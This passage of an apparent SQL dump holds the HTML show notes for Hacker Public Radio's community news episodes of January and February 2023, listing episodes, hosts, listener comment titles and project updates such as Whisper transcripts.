inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3759#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-01-28:\n\"RISC V emulators.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 19 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3762#comments\" target=\"_blank\">hpr3762</a></strong>\n(2023-01-03) \"<em>Existence is pain</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3762#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-01-03:\n\"Thanks for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3762#2\" target=\"_blank\">Comment 2</a>:\none_of_spoons on 2023-01-28:\n\"Character entry devices.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3763#comments\" target=\"_blank\">hpr3763</a></strong>\n(2023-01-04) \"<em>The Baader-Meinhof Phenomenon</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3763#1\" target=\"_blank\">Comment 1</a>:\nViv on 2023-01-05:\n\"Meta Baader-Meinhof\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3763#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2023-01-06:\n\"I rest my case\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3764#comments\" target=\"_blank\">hpr3764</a></strong>\n(2023-01-05) \"<em>My text-focused journey into tech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=415\" target=\"_blank\">enistello</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3764#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"emacs rocks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3766#comments\" target=\"_blank\">hpr3766</a></strong>\n(2023-01-09) \"<em>ACER Nitro 5 laptop review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3766#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2023-01-12:\n\"Good Review, but Still Avoiding Gaming Laptops\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3766#2\" target=\"_blank\">Comment 2</a>:\nbookeyrmm on 2023-01-13:\n\"reply to claudio\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3767#comments\" target=\"_blank\">hpr3767</a></strong>\n(2023-01-10) \"<em>LP article from Wikipedia</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3767#1\" target=\"_blank\">Comment 1</a>:\nCeleste on 2023-01-10:\n\"Riaa curve and italian youtuber video\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3768#comments\" target=\"_blank\">hpr3768</a></strong>\n(2023-01-11) \"<em>Jeep Ignition Repair</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\" target=\"_blank\">Stache_AF</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3768#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-01-28:\n\"Ear pieces.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3771#comments\" target=\"_blank\">hpr3771</a></strong>\n(2023-01-16) \"<em>How I eliminated pain naturally</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3771#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"music\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3772#comments\" target=\"_blank\">hpr3772</a></strong>\n(2023-01-17) \"<em>Adventures with a small solar panel</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3772#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"good info\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3773#comments\" target=\"_blank\">hpr3773</a></strong>\n(2023-01-18) \"<em>My Public Speaking Rules</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#1\" target=\"_blank\">Comment 1</a>:\nmpardo on 2023-01-18:\n\"A \"must listen\" to all who aspire to speak to an audience\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2023-01-18:\n\"Thanks for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#3\" target=\"_blank\">Comment 3</a>:\none_of_spoons on 2023-01-19:\n\"Professional demeanour.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#4\" target=\"_blank\">Comment 4</a>:\nMike Ray on 2023-01-20:\n\"Thanks very much to everybody. I listened back to this when it was published. I hope the Christmas b\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3773#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2023-01-21:\n\"Messed up that last comment\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3776#comments\" target=\"_blank\">hpr3776</a></strong>\n(2023-01-23) \"<em>A linux distro review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3776#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"how to do it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3778#comments\" target=\"_blank\">hpr3778</a></strong>\n(2023-01-25) \"<em>A Squirrel Beeing on Google Products and Google Security</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3778#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-01-25:\n\"2fa\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3778#2\" target=\"_blank\">Comment 2</a>:\nJohnnyLawrence on 2023-01-26:\n\"Whoafully misinformed\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-January/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"show-transcripts\">Show transcripts</h3>\n<p>Transcripts of audio have been generated for shows since December\n2022, using the <a\nhref=\"https://openai.com/blog/whisper/\"><code>Whisper</code></a> tool.\nKen Fallon has been working on this project, and has also been\ntranscribing the older shows from <code>hpr0001</code> to the present\nday. This part of the project is complete.</p>\n<p>The transcripts have been attached to each show on the HPR website,\nand are in the process of being added on archive.org.</p>\n<ul>\n<li><a href=\"https://github.com/openai/whisper\">Whisper on\nGitHub</a></li>\n</ul>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>This \"re-upload\" <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">project</a>\nis now ended. All shows from 871 to 2429 have been re-uploaded with all\naudio files and other assets.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3806,'2023-03-06','HPR Community News for February 2023',4592,'HPR Volunteers talk about shows released and comments posted in February 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=416\" target=\"_blank\">screwtape</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=417\" target=\"_blank\">StarshipTux</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=418\" target=\"_blank\">David Thrane Christiansen</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3783\" target=\"_blank\">3783</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3783\" target=\"_blank\">Accessibility, and Navigating the HPR Web Pages with a Screen Reader</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3784\" target=\"_blank\">3784</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3784\" target=\"_blank\">Two factor authentication without a phone number</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3785\" target=\"_blank\">3785</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3785\" target=\"_blank\">Hacking Boba Bubble Tapioca Pearls Fail </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3786\" target=\"_blank\">3786</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3786\" target=\"_blank\">HPR Community News for January 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3787\" target=\"_blank\">3787</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3787\" target=\"_blank\">It shouldn\'t crackle like that</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3788\" target=\"_blank\">3788</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3788\" target=\"_blank\">Nitecore Tube torch</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3789\" target=\"_blank\">3789</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3789\" target=\"_blank\">Common lisp portable games including acl2 formal logic</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=416\" target=\"_blank\">screwtape</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3790\" target=\"_blank\">3790</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3790\" target=\"_blank\">Tucson, Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3791\" target=\"_blank\">3791</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3791\" target=\"_blank\">My Hardware Problem - Keyboards</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=417\" target=\"_blank\">StarshipTux</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3792\" target=\"_blank\">3792</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3792\" target=\"_blank\">Learning to read music, part one</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=415\" target=\"_blank\">enistello</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3793\" target=\"_blank\">3793</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3793\" target=\"_blank\">RE: Zen_Floater2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3794\" target=\"_blank\">3794</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3794\" target=\"_blank\">Retro Karaoke machine restored</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3795\" target=\"_blank\">3795</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3795\" target=\"_blank\">2022-2023 New Years Show Episode 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3796\" target=\"_blank\">3796</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3796\" target=\"_blank\">Dependent Types</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=418\" target=\"_blank\">David Thrane Christiansen</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3797\" target=\"_blank\">3797</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3797\" target=\"_blank\">How to submit changes to HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3798\" target=\"_blank\">3798</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-02-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3798\" target=\"_blank\">Laptop Second SSD MXLinux Install</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3799\" target=\"_blank\">3799</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-02-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3799\" target=\"_blank\">My home router history</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3800\" target=\"_blank\">3800</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-02-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3800\" target=\"_blank\">NIST Quantum Cryptography Update 20221008</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3801\" target=\"_blank\">3801</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-02-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3801\" target=\"_blank\">Enter the gopher</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=416\" target=\"_blank\">screwtape</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3802\" target=\"_blank\">3802</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-02-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3802\" target=\"_blank\">Attack of the Squishmallow</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 30 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3776#comments\" target=\"_blank\">hpr3776</a></strong>\n(2023-01-23) \"<em>A linux distro review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3776#2\" target=\"_blank\">Comment 2</a>:\nbookewyrmm on 2023-02-08:\n\"RE: How to do it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3781#comments\" target=\"_blank\">hpr3781</a></strong>\n(2023-01-30) \"<em>The Joule Thief</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3781#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-02-01:\n\"Candle power.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 28 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3783#comments\" target=\"_blank\">hpr3783</a></strong>\n(2023-02-01) \"<em>Accessibility, and Navigating the HPR Web Pages with a Screen Reader</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-03:\n\"HPR\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2023-02-04:\n\"Podcast Clients\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#3\" target=\"_blank\">Comment 3</a>:\nMechatroniac on 2023-02-12:\n\"gpodder\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#4\" target=\"_blank\">Comment 4</a>:\nMechatroniac on 2023-02-12:\n\"awkward web site\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#5\" target=\"_blank\">Comment 5</a>:\nMechatroniac on 2023-02-13:\n\"nm\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3783#6\" target=\"_blank\">Comment 6</a>:\nKen Fallon on 2023-02-14:\n\"Fixed.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3784#comments\" target=\"_blank\">hpr3784</a></strong>\n(2023-02-02) \"<em>Two factor authentication without a phone number</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3784#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-02-07:\n\"Thank you for making this podcast\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3789#comments\" target=\"_blank\">hpr3789</a></strong>\n(2023-02-09) \"<em>Common lisp portable games including acl2 formal logic</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=416\" target=\"_blank\">screwtape</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3789#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2023-02-09:\n\"Great First Episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3789#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2023-02-09:\n\"Nice show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3791#comments\" target=\"_blank\">hpr3791</a></strong>\n(2023-02-13) \"<em>My Hardware Problem - Keyboards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=417\" target=\"_blank\">StarshipTux</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3791#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-02-13:\n\"Keyboard Addiction\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3792#comments\" target=\"_blank\">hpr3792</a></strong>\n(2023-02-14) \"<em>Learning to read music, part one</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=415\" target=\"_blank\">enistello</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3792#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-02-14:\n\"What fun!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3792#2\" target=\"_blank\">Comment 2</a>:\njezra on 2023-02-15:\n\"quite possibly the most toe-tapping episode of HPR\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3793#comments\" target=\"_blank\">hpr3793</a></strong>\n(2023-02-15) \"<em>RE: Zen_Floater2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3793#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-02-15:\n\"Appraising the show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3793#2\" target=\"_blank\">Comment 2</a>:\nSome Guy on The Internet on 2023-02-21:\n\"You are welcome kind Squirrel.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3796#comments\" target=\"_blank\">hpr3796</a></strong>\n(2023-02-20) \"<em>Dependent Types</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=418\" target=\"_blank\">David Thrane Christiansen</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3796#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2023-02-22:\n\"Concise and clear\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3797#comments\" target=\"_blank\">hpr3797</a></strong>\n(2023-02-21) \"<em>How to submit changes to HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-22:\n\"Very cool\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2023-02-22:\n\"Repo Location\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2023-02-24:\n\"Automated build on Gitlab\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#4\" target=\"_blank\">Comment 4</a>:\nrho`n on 2023-02-25:\n\"Sweet! nice work norrist\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#5\" target=\"_blank\">Comment 5</a>:\nrho`n on 2023-02-25:\n\"RE: Registering at https://repo.anhonesthost.net\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3798#comments\" target=\"_blank\">hpr3798</a></strong>\n(2023-02-22) \"<em>Laptop Second SSD MXLinux Install</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-22:\n\"lol\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2023-02-23:\n\"OBS-STUDIO comment.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#3\" target=\"_blank\">Comment 3</a>:\nMechatroniac on 2023-02-25:\n\"reply to zenfloater2\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#4\" target=\"_blank\">Comment 4</a>:\nLuna bittin Jernberg on 2023-02-27:\n\"Slackware Grub\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3799#comments\" target=\"_blank\">hpr3799</a></strong>\n(2023-02-23) \"<em>My home router history</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3799#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-02-26:\n\"Extremely entertaining\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3799#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-02-26:\n\"Custom Routers\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3800#comments\" target=\"_blank\">hpr3800</a></strong>\n(2023-02-24) \"<em>NIST Quantum Cryptography Update 20221008</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3800#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-02-26:\n\"moore\'s law\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3800#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2023-02-26:\n\"Very Interesting\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-February/thread.html\" 